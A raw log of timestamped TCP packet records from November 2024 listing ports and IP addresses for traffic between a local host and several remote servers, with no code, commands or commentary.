Nov 12, 2024 13:35:31.708081007 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.708123922 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.708148003 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.748764992 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.749665976 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.749767065 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.749794006 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.752151966 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.752193928 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.752193928 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.752213001 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.752252102 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.760724068 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.764017105 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.764035940 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.771686077 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.771739960 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.771759987 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.825681925 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.825738907 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.825776100 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.865775108 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.865825891 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.865839958 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.869425058 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.869491100 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.869498968 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.877880096 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.877934933 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.877947092 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.886699915 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.886763096 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.886773109 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.909336090 CET	443	51580	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:31.910636902 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:31.910661936 CET	443	51580	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:31.910679102 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:31.910717010 CET	51580	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:31.942962885 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.943005085 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.943017960 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.943051100 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.944289923 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.983021975 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.984627008 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.984683037 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.984704018 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.987396955 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.987499952 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.987508059 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.994853020 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:31.994898081 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:31.994920015 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.003843069 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.003875971 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.003921032 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.003943920 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.003979921 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.006033897 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.039186954 CET	443	51589	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.039262056 CET	51589	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:32.039829969 CET	443	51590	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.039954901 CET	443	51590	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.040007114 CET	51590	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.040030003 CET	51590	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.050637007 CET	443	51591	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.050708055 CET	51591	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.053689957 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.056854010 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.057135105 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.059942007 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.059997082 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.060022116 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.062796116 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.062813997 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.063261032 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.063266039 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.066020012 CET	51585	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.066037893 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.066488981 CET	51585	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.066493034 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.066782951 CET	51587	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.066795111 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.067203045 CET	51587	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.067208052 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.072660923 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.073929071 CET	51588	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.073955059 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.074425936 CET	51588	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.074431896 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.095154047 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.095587969 CET	51586	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.095602989 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.096055031 CET	51586	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.096060038 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.101633072 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.101741076 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.101803064 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.101833105 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.104270935 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.104312897 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.112276077 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.112317085 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.112327099 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.116130114 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.116530895 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:32.116539955 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.117276907 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.117472887 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.117480040 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.117567062 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.117629051 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:32.118501902 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.118576050 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.118645906 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:32.118719101 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.119169950 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:32.119771004 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.119832993 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.119910002 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.119915009 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.121324062 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.123133898 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.123157978 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.123230934 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.123253107 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.123608112 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.123620033 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.123624086 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.123630047 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.124630928 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.124700069 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.125487089 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.125550985 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.125618935 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.125626087 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.159342051 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.165644884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.168601990 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:32.168601990 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.168625116 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.170591116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.177158117 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.177212954 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.177225113 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.191113949 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.191139936 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.191178083 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.191190958 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.191232920 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.191487074 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.191502094 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.191514969 CET	51584	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.191520929 CET	443	51584	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.192075014 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.192208052 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.192261934 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.192305088 CET	51587	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.192486048 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.192560911 CET	51585	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.193273067 CET	51587	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.193295002 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.193308115 CET	51587	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.193315029 CET	443	51587	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.194343090 CET	51585	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.194343090 CET	51585	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.194355011 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.194365025 CET	443	51585	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.207739115 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.207789898 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.207885981 CET	51588	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.210886002 CET	51599	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.210910082 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.211252928 CET	51599	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.212228060 CET	51600	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.212281942 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.212388039 CET	51600	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.212517023 CET	51588	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.212531090 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.212538958 CET	51588	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.212543964 CET	443	51588	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.216770887 CET	443	51592	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.216847897 CET	51592	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.217820883 CET	51601	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.217843056 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.217957020 CET	51601	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.218195915 CET	51599	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.218209028 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.218549013 CET	51600	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.218583107 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.218846083 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.218894005 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.218910933 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.218947887 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.218982935 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.218991041 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.221849918 CET	51602	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.221903086 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.221975088 CET	51602	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.222331047 CET	51601	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.222342968 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.222362041 CET	51602	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.222387075 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.224093914 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.224165916 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.224189043 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.230591059 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.230653048 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.230678082 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.231595993 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.231651068 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.231697083 CET	51586	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.234477997 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.240645885 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.240679026 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.240727901 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.240761042 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.244285107 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.244308949 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.246351004 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.256239891 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.256247044 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.256743908 CET	51586	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.256763935 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.256778955 CET	51586	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.256783962 CET	443	51586	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.257234097 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.257296085 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.258342028 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.258416891 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.258913040 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.258919001 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.264367104 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.264552116 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:32.264569998 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.264628887 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.264676094 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.264777899 CET	51593	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:32.264795065 CET	443	51593	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:32.265247107 CET	51598	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.265255928 CET	443	51598	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.266305923 CET	51603	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.266319990 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.266604900 CET	51603	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.266982079 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.267040014 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.267088890 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.267390966 CET	51594	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.267399073 CET	443	51594	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.268387079 CET	51603	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.268394947 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.294099092 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.295145035 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.295177937 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.336077929 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.336344957 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.336374998 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.341559887 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.343286037 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.343301058 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.348284960 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.348361969 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.348381042 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.349190950 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.357422113 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.357446909 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.357474089 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.357496023 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.357547045 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.357614040 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.400352001 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.400398016 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.400420904 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.411617994 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.411686897 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.411706924 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.444107056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444171906 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444184065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444190979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.444225073 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.444355965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444369078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444380999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444394112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444411993 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.444463015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.444674015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444685936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444699049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444709063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.444736958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.444772959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.444999933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.445142031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.453336954 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.453392982 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.453418970 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.458873034 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.458931923 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.458954096 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.459008932 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.459052086 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.459059000 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.459156990 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.459167004 CET	443	51574	142.250.186.33	192.168.2.6
Nov 12, 2024 13:35:32.459209919 CET	51574	443	192.168.2.6	142.250.186.33
Nov 12, 2024 13:35:32.505240917 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.505260944 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.505268097 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.505290031 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.505301952 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.505311966 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.505319118 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.505331993 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.505382061 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.597192049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.597295046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.597302914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.597357035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.597378016 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.597434998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.597434998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.597573996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.597584009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.597594023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.597632885 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.597670078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.597843885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.598191977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.598272085 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.598285913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.598297119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.598352909 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.598352909 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.598472118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.598483086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.598536015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.623017073 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.623024940 CET	443	51597	13.107.246.45	192.168.2.6
